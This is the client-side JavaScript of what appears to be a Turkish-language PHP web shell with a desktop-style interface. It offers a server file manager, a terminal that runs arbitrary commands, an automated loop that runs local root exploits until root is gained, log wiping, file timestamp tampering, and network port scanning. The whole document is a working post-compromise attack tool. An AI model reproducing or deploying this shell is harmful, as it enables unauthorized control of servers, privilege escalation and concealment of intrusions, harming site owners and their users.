document.getElementById('win-'+id).style.display='none';
document.getElementById('win-'+id).classList.remove('maximized');
delete openWindows[id];
updateTaskbar();
}
function minimizeWindow(id){
document.getElementById('win-'+id).style.display='none';
}
function toggleMaximize(id){
var win = document.getElementById('win-'+id);
if(win.classList.contains('maximized')){
win.classList.remove('maximized');
win.style.top = win.dataset.oldTop || '50px';
win.style.left = win.dataset.oldLeft || '50px';
win.style.width = win.dataset.oldWidth || '850px';
win.style.height = win.dataset.oldHeight || '550px';
} else {
win.dataset.oldTop = win.style.top;
win.dataset.oldLeft = win.style.left;
win.dataset.oldWidth = win.style.width;
win.dataset.oldHeight = win.style.height;
win.classList.add('maximized');
}
}
function updateTaskbar(){
var tb = document.getElementById('taskbar');
tb.innerHTML = '';
for(var id in openWindows){
var btn = document.createElement('span');
btn.className = 'taskbar-item';
var titleEl = document.querySelector('#win-'+id+' .win-title');
btn.textContent = titleEl ? titleEl.textContent : id;
btn.onclick = function(i){ return function(){ openWindow(i); }; }(id);
tb.appendChild(btn);
}
}
function dragStart(e, winId){
var win = document.getElementById('win-'+winId);
if(win.classList.contains('maximized')) return;
var shiftX = e.clientX - win.getBoundingClientRect().left;
var shiftY = e.clientY - win.getBoundingClientRect().top;
function moveAt(e){
win.style.left = (e.clientX - shiftX) + 'px';
win.style.top = (e.clientY - shiftY) + 'px';
}
document.addEventListener('mousemove', moveAt);
document.addEventListener('mouseup', function(){
document.removeEventListener('mousemove', moveAt);
}, {once: true});
}
function ajaxPost(params, cb){
var xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function(){ cb(JSON.parse(xhr.responseText)); };
xhr.send(params);
}
function ajaxGet(act, data, cb){
var p = 'ajax_action='+act;
for(var k in data) p += '&'+k+'='+encodeURIComponent(data[k]);
ajaxPost(p, cb);
}
function escapeHtml(unsafe){
return unsafe.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'");
}
function finderYukle(dizin, addToHistory){
if(addToHistory !== false){
historyStack = historyStack.slice(0, historyIndex + 1);
historyStack.push(dizin);
historyIndex = historyStack.length - 1;
}
currentDir = dizin;
document.getElementById('finder-adres').value = dizin;
buildSidebarTree(dizin);
finderIcerikYukle(dizin);
}
function finderIcerikYukle(dizin){
var main = document.getElementById('finder-main');
if(gorunumModu==='ikon'){
main.className = 'finder-main ikon-gorunum';
ajaxGet('listdir', {dizin: dizin}, function(res){
main.innerHTML = res.html;
bindFinderEvents();
});
} else {
main.className = 'finder-main liste-gorunum';
ajaxGet('listtable', {dizin: dizin}, function(res){
main.innerHTML = res.html;
bindFinderEvents();
});
}
}
function buildSidebarTree(targetDir){
var sidebar = document.getElementById('finder-sidebar');
sidebar.innerHTML = '';
var rootNode = createTreeNode('/', '/', true);
sidebar.appendChild(rootNode);
if(targetDir !== '/'){
expandToPath(targetDir, sidebar);
} else {
loadSubdirsForNode(rootNode, '/');
}
}
function createTreeNode(name, fullPath, isRoot){
var div = document.createElement('div');
div.className = 'agac-dizin';
div.dataset.yol = fullPath;
var ok = document.createElement('span');
ok.className = 'agac-ok';
ok.textContent = '▶';
ok.addEventListener('click', function(e){
e.stopPropagation();
toggleTreeNode(this.parentElement);
});
var icon = document.createElement('span');
icon.textContent = '📁';
var label = document.createElement('span');
label.className = 'agac-isim';
label.textContent = name || '/';
div.appendChild(ok);
div.appendChild(icon);
div.appendChild(label);
var childrenDiv = document.createElement('div');
childrenDiv.className = 'agac-cocuklar';
childrenDiv.style.display = 'none';
childrenDiv.style.marginLeft = '16px';
div.appendChild(childrenDiv);
div.addEventListener('click', function(e){
if(e.target === ok) return;
finderYukle(fullPath);
});
return div;
}
function toggleTreeNode(nodeElement){
var childrenDiv = nodeElement.querySelector('.agac-cocuklar');
var ok = nodeElement.querySelector('.agac-ok');
var yol = nodeElement.dataset.yol;
if(childrenDiv.style.display === 'none' || !childrenDiv.style.display){
if(childrenDiv.children.length === 0){
loadSubdirsForNode(nodeElement, yol);
}
childrenDiv.style.display = 'block';
ok.classList.add('acik');
} else {
childrenDiv.style.display = 'none';
ok.classList.remove('acik');
}
}
function loadSubdirsForNode(nodeElement, yol){
var childrenDiv = nodeElement.querySelector('.agac-cocuklar');
childrenDiv.innerHTML = '<div style="padding:2px 10px;color:#666;">Yukleniyor...</div>';
ajaxGet('get_subdirs', {dizin: yol}, function(res){
childrenDiv.innerHTML = '';
var tempDiv = document.createElement('div');
tempDiv.innerHTML = res.html;
var childNodes = tempDiv.querySelectorAll('.agac-dizin');
for(var i=0; i<childNodes.length; i++){
var child = childNodes[i];
var childPath = child.dataset.yol;
var childName = child.querySelector('.agac-isim').textContent;
var newChild = createTreeNode(childName, childPath);
childrenDiv.appendChild(newChild);
}
});
}
function expandToPath(targetPath, container){
if(targetPath === '/') return;
var parts = targetPath.split('/').filter(function(p){ return p; });
var currentPath = '';
function expandNext(index, parentContainer){
if(index >= parts.length) return;
currentPath += '/' + parts[index];
var node = parentContainer.querySelector('.agac-dizin[data-yol="'+currentPath+'"]');
if(!node){
var parentNode = parentContainer.closest('.agac-dizin');
if(parentNode){
var childrenDiv = parentNode.querySelector('.agac-cocuklar');
ajaxGet('get_subdirs', {dizin: parentNode.dataset.yol}, function(res){
childrenDiv.innerHTML = '';
var tempDiv = document.createElement('div');
tempDiv.innerHTML = res.html;
var childNodes = tempDiv.querySelectorAll('.agac-dizin');
for(var i=0; i<childNodes.length; i++){
var child = childNodes[i];
var cp = child.dataset.yol;
var cn = child.querySelector('.agac-isim').textContent;
var newChild = createTreeNode(cn, cp);
childrenDiv.appendChild(newChild);
}
expandNext(index, parentContainer);
});
return;
}
}
if(node){
node.classList.add('active');
var childrenDiv = node.querySelector('.agac-cocuklar');
childrenDiv.style.display = 'block';
node.querySelector('.agac-ok').classList.add('acik');
if(childrenDiv.children.length === 0){
loadSubdirsForNode(node, currentPath);
}
expandNext(index + 1, childrenDiv);
}
}
expandNext(0, container);
}
function bindFinderEvents(){
var items = document.querySelectorAll('#finder-main .ikon-item, #finder-main .dosya-satir');
for(var i=0; i<items.length; i++){
items[i].addEventListener('dblclick', function(){
var yol = this.dataset.yol;
var tip = this.dataset.tip;
if(tip==='dizin') finderYukle(yol);
else {
var ext = yol.split('.').pop().toLowerCase();
if(['txt','php','html','css','js','py','sh','log','md','json','xml','ini','conf'].indexOf(ext) !== -1){
ajaxGet('get_dosya_icerik', {yol: yol}, function(d){
if(d.icerik){
document.getElementById('edit-icerik').value = d.icerik;
document.getElementById('edit-modal').style.display='flex';
window._editYol = yol;
}
});
} else {
downloadFile(yol);
}
}
});
items[i].addEventListener('contextmenu', function(e){
e.preventDefault();
contextYol = this.dataset.yol;
contextTip = this.dataset.tip;
showContextMenu(e);
});
}
}
function downloadFile(yol){
var a = document.createElement('a');
a.href = window.location.href+'?ajax_action=download&yol='+encodeURIComponent(yol);
a.download = '';
a.click();
}
function finderGeri(){
if(historyIndex > 0){
historyIndex--;
finderYukle(historyStack[historyIndex], false);
}
}
function finderIleri(){
if(historyIndex < historyStack.length - 1){
historyIndex++;
finderYukle(historyStack[historyIndex], false);
}
}
function finderGit(dizin){ if(dizin) finderYukle(dizin); }
function finderUstGit(){ finderYukle(currentDir.split('/').slice(0,-1).join('/')||'/'); }
function finderYenile(){ finderYukle(currentDir, false); }
function finderAra(){
var terim = document.getElementById('finder-arama').value.toLowerCase();
var items = document.querySelectorAll('#finder-main .ikon-item, #finder-main .dosya-satir');
for(var i=0; i<items.length; i++){
var isimEl = items[i].querySelector('.ikon-isim');
var isim = isimEl ? isimEl.textContent : '';
if(!isim){
var tdEl = items[i].querySelector('td');
isim = tdEl ? tdEl.textContent : '';
}
items[i].style.display = isim.toLowerCase().indexOf(terim) !== -1 ? '' : 'none';
}
}
function finderToggleGorunum(){
gorunumModu = gorunumModu==='ikon'?'liste':'ikon';
document.getElementById('finder-gorunum-btn').textContent = gorunumModu==='ikon'?'🗂️ Ikon':'📋 Liste';
finderIcerikYukle(currentDir);
}
function finderYeniDosya(){
document.getElementById('newfile-modal').style.display='flex';
document.getElementById('newfile-ad').value='';
document.getElementById('newfile-icerik').value='';
}
function newfileKaydet(){
var ad = document.getElementById('newfile-ad').value.trim();
if(!ad) return alert('Dosya adi girin');
var icerik = document.getElementById('newfile-icerik').value;
ajaxPost('ajax_action=yeni_dosya_olustur&dizin='+encodeURIComponent(currentDir)+'&dosyaAdi='+encodeURIComponent(ad)+'&icerik='+encodeURIComponent(icerik), function(d){
if(d.basari){
document.getElementById('newfile-modal').style.display='none';
finderYenile();
} else alert('Olusturulamadi');
});
}
function finderYeniKlasor(){
document.getElementById('newfolder-modal').style.display='flex';
document.getElementById('newfolder-ad').value='';
}
function newfolderKaydet(){
var ad = document.getElementById('newfolder-ad').value.trim();
if(!ad) return alert('Klasor adi girin');
ajaxPost('ajax_action=mkdir&dizin='+encodeURIComponent(currentDir)+'&isim='+encodeURIComponent(ad), function(d){
if(d.basari){
document.getElementById('newfolder-modal').style.display='none';
finderYenile();
} else alert('Olusturulamadi');
});
}
function finderUpload(input){
var file = input.files[0];
if(!file) return;
var formData = new FormData();
formData.append('ajax_action','upload');
formData.append('dizin',currentDir);
formData.append('file',file);
fetch(window.location.href,{method:'POST',body:formData})
.then(function(r){ return r.json(); })
.then(function(d){
alert(d.mesaj || (d.basari ? 'Yuklendi' : 'Hata'));
if(d.basari) finderYenile();
})
.catch(function(err){
alert('Yukleme sirasinda bir hata olustu: ' + err.message);
});
input.value='';
}
var contextYol, contextTip;
function showContextMenu(e){
var menu = document.getElementById('contextMenu');
var html = '';
if(contextTip==='dosya') html += '<div onclick="dosyaDuzenle()">✏️ Duzenle</div>';
html += '<div onclick="dosyaSil()">🗑️ Sil</div><div onclick="dosyaRename()">✍️ Yeniden Adlandir</div><div onclick="dosyaChmod()">🔑 Izin Degistir</div><div onclick="dosyaTouch()">🕒 Zaman Degistir</div><div onclick="dosyaKopyala()">📋 Kopyala</div>';
if(contextTip==='dosya') html += '<div onclick="dosyaIndir()">📥 Indir</div>';
if(contextTip==='dosya' && contextYol.match(/\.(zip|tar|tar\.gz|tar\.bz2)$/i)) html += '<div onclick="dosyaUnzip()">📦 Buraya Cikar</div>';
menu.innerHTML = html;
menu.style.display = 'block';
menu.style.left = e.pageX+'px';
menu.style.top = e.pageY+'px';
}
document.addEventListener('click',function(){ document.getElementById('contextMenu').style.display='none'; });
document.getElementById('desktop').addEventListener('contextmenu',function(e){
if(e.target!==this) return;
e.preventDefault();
var menu = document.getElementById('contextMenu');
menu.innerHTML = '<div onclick="dosyaYapistir()">📌 Yapistir</div>';
menu.style.display = 'block';
menu.style.left = e.pageX+'px';
menu.style.top = e.pageY+'px';
});
function dosyaDuzenle(){
ajaxGet('get_dosya_icerik',{yol:contextYol},function(d){
if(d.icerik){
document.getElementById('edit-icerik').value = d.icerik;
document.getElementById('edit-modal').style.display='flex';
window._editYol = contextYol;
}
});
}
function editKaydet(){
ajaxPost('ajax_action=kaydet_dosya&yol='+encodeURIComponent(window._editYol)+'&icerik='+encodeURIComponent(document.getElementById('edit-icerik').value),function(d){
if(d.basari){
alert('Kaydedildi');
document.getElementById('edit-modal').style.display='none';
finderYenile();
}
});
}
function dosyaSil(){
if(confirm('Silinsin mi?')) ajaxGet('sil',{yol:contextYol},function(d){ if(d.basari) finderYenile(); });
}
function dosyaRename(){
var yeni = prompt('Yeni ad:', contextYol.split('/').pop());
if(yeni) ajaxGet('rename',{eski:contextYol, yeni:yeni},function(d){ if(d.basari) finderYenile(); });
}
function dosyaChmod(){
document.getElementById('chmod-dosya').textContent = contextYol;
document.getElementById('chmod-modal').style.display='flex';
}
function chmodKaydet(){
ajaxGet('chmod',{yol:contextYol, mod:document.getElementById('chmod-deger').value},function(d){
document.getElementById('chmod-modal').style.display='none';
if(d.basari) finderYenile();
});
}
function dosyaTouch(){
document.getElementById('touch-dosya').textContent = contextYol;
document.getElementById('touch-modal').style.display='flex';
}
function touchKaydet(){
ajaxGet('touch',{yol:contextYol, tarih:document.getElementById('touch-tarih').value},function(d){
document.getElementById('touch-modal').style.display='none';
finderYenile();
});
}
function dosyaKopyala(){ ajaxGet('kopyala',{yol:contextYol},function(d){ alert(d.mesaj); }); }
function dosyaIndir(){ downloadFile(contextYol); }
function dosyaUnzip(){ ajaxGet('unzip',{yol:contextYol},function(d){ alert(d.cikti); finderYenile(); }); }
function dosyaYapistir(){
if(confirm('Panodaki dosya bu dizine yapistirilsin mi?'))
ajaxGet('yapistir',{dizin:currentDir},function(d){ alert(d.mesaj); finderYenile(); });
}
function termCalistir(){
var komut = document.getElementById('term-komut').value.trim();
if(!komut) return;
document.getElementById('term-komut').value = '';
var ciktiDiv = document.getElementById('term-cikti');
ciktiDiv.innerHTML += '<div><span style="color:#0f0">$ '+escapeHtml(komut)+'</span></div>';
ajaxGet('terminal',{komut:komut},function(d){
ciktiDiv.innerHTML += '<div>'+escapeHtml(d.cikti).replace(/\n/g,'<br>')+'</div>';
ciktiDiv.scrollTop = ciktiDiv.scrollHeight;
});
}
function termTemizle(){ ajaxGet('terminal_temizle',{},function(){ document.getElementById('term-cikti').innerHTML=''; }); }
var currentExploit=1, rootFound=false, counters={basarili:0,basarisiz:0,pasif:0}, currentFilter='tum';
function resetRootTestState(){
counters = {basarili:0,basarisiz:0,pasif:0};
currentExploit = 1;
rootFound = false;
currentFilter = 'tum';
var filterCards = document.querySelectorAll('#win-root .filter-card');
if(filterCards.length > 0){
filterCards[0].classList.add('active');
for(var i=1; i<filterCards.length; i++) filterCards[i].classList.remove('active');
}
updateCounters();
document.getElementById('root-listesi').innerHTML = '';
}
async function startRootTests(total){
if(total===0){ alert('Exploit listesi bos!'); return; }
resetRootTestState();
document.getElementById('root-btn').disabled = true;
document.getElementById('progress-container').style.display = 'block';
while(currentExploit <= total && !rootFound){
updateProgress(Math.round(((currentExploit-1)/total)*100), 'Test '+currentExploit+'/'+total);
try{
var resp = await fetch(window.location.href, {method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'ajax_action=run_exploit_batch&exploit_id='+currentExploit});
var result = await resp.json();
if(result.status === 'success'){
counters[result.durum]++;
updateCounters();
var div = document.createElement('div');
div.className = 'root-result ' + result.durum;
div.innerHTML = '<p><b>'+result.exploit_id+':</b> '+result.baslik+' - <span style="color:'+(result.durum==='basarili'?'lime':'red')+'">'+result.durum+'</span></p><pre style="font-size:11px;">'+escapeHtml(result.cikti)+'</pre>';
document.getElementById('root-listesi').prepend(div);
if(result.is_root) rootFound = true;
} else break;
}catch(e){
counters.basarisiz++;
updateCounters();
}
currentExploit++;
}
updateProgress(rootFound?100:Math.round(((currentExploit-1)/total)*100), rootFound?'🎉 ROOT!':'Bitti');
document.getElementById('root-btn').disabled = false;
filtrele(currentFilter, document.querySelector('#win-root .filter-card.active'));
}
function updateProgress(p, t){
document.getElementById('progress-bar').style.width = p+'%';
document.getElementById('progress-text').textContent = t;
}
function updateCounters(){
var cards = document.querySelectorAll('#win-root .filter-card');
if(cards.length >= 4){
cards[1].textContent = 'Basarili ('+counters.basarili+')';
cards[2].textContent = 'Basarisiz ('+counters.basarisiz+')';
cards[3].textContent = 'Pasif ('+counters.pasif+')';
}
}
function filtrele(kat, el){
currentFilter = kat;
var cards = document.querySelectorAll('#win-root .filter-card');
for(var i=0; i<cards.length; i++) cards[i].classList.remove('active');
el.classList.add('active');
var results = document.querySelectorAll('#root-listesi .root-result');
for(var i=0; i<results.length; i++){
if(kat === 'tum' || results[i].classList.contains(kat)){
results[i].classList.remove('hidden');
} else {
results[i].classList.add('hidden');
}
}
}
function logTemizleForm(){
ajaxGet('log_temizle', {}, function(d){
document.getElementById('guvenlik-cikti').innerHTML = d.mesaj;
});
}
function backdoorTaraForm(){
var ciktiDiv = document.getElementById('guvenlik-cikti');
ciktiDiv.innerHTML = '<p style="color:#0f0;">Tarama yapiliyor, lutfen bekleyin...</p>';
var dizin = document.getElementById('tara-dizin').value;
ajaxGet('backdoor_tara', {dizin: dizin}, function(d){
var html = '';
if (!d.basari) {
html = '<p style="color:red;">' + d.mesaj + '</p>';
} else if (d.sonuc.length === 0) {
html = '<p>Supheli dosya bulunamadi.</p>';
} else {
html = '<ul>';
for (var i = 0; i < d.sonuc.length; i++) {
var item = d.sonuc[i];
html += '<li>';
html += '<span class="dosya-link" data-yol="' + escapeHtml(item.dosya) + '" style="color:#0ff;cursor:pointer;text-decoration:underline;">' + escapeHtml(item.dosya) + '</span>';
html += ' - <b>' + item.sayi + '</b> supheli fonksiyon';
html += ' <small style="color:#aaa;">[' + escapeHtml(item.suskunlar.join(', ')) + ']</small>';
html += '</li>';
}
html += '</ul>';
}
ciktiDiv.innerHTML = html;
var links = document.querySelectorAll('#guvenlik-cikti .dosya-link');
for (var j = 0; j < links.length; j++) {
links[j].addEventListener('click', function() {
contextYol = this.dataset.yol;
contextTip = 'dosya';
dosyaDuzenle();
});
links[j].addEventListener('contextmenu', function(e){
e.preventDefault();
contextYol = this.dataset.yol;
contextTip = 'dosya';
showContextMenu(e);
});
}
});
}
function agTaraForm(){
var ciktiDiv = document.getElementById('ag-cikti');
ciktiDiv.innerHTML = '<p style="color:#0f0;">Tarama yapiliyor...</p>';
ajaxGet('ag_tara', {hedef: document.getElementById('agHedef').value, portlar: document.getElementById('agPortlar').value}, function(d){
ciktiDiv.innerHTML = '<pre>' + d.mesaj + '</pre>';
});
}
setTimeout(function(){ openWindow('finder'); }, 500);
</script>
</body>
</html>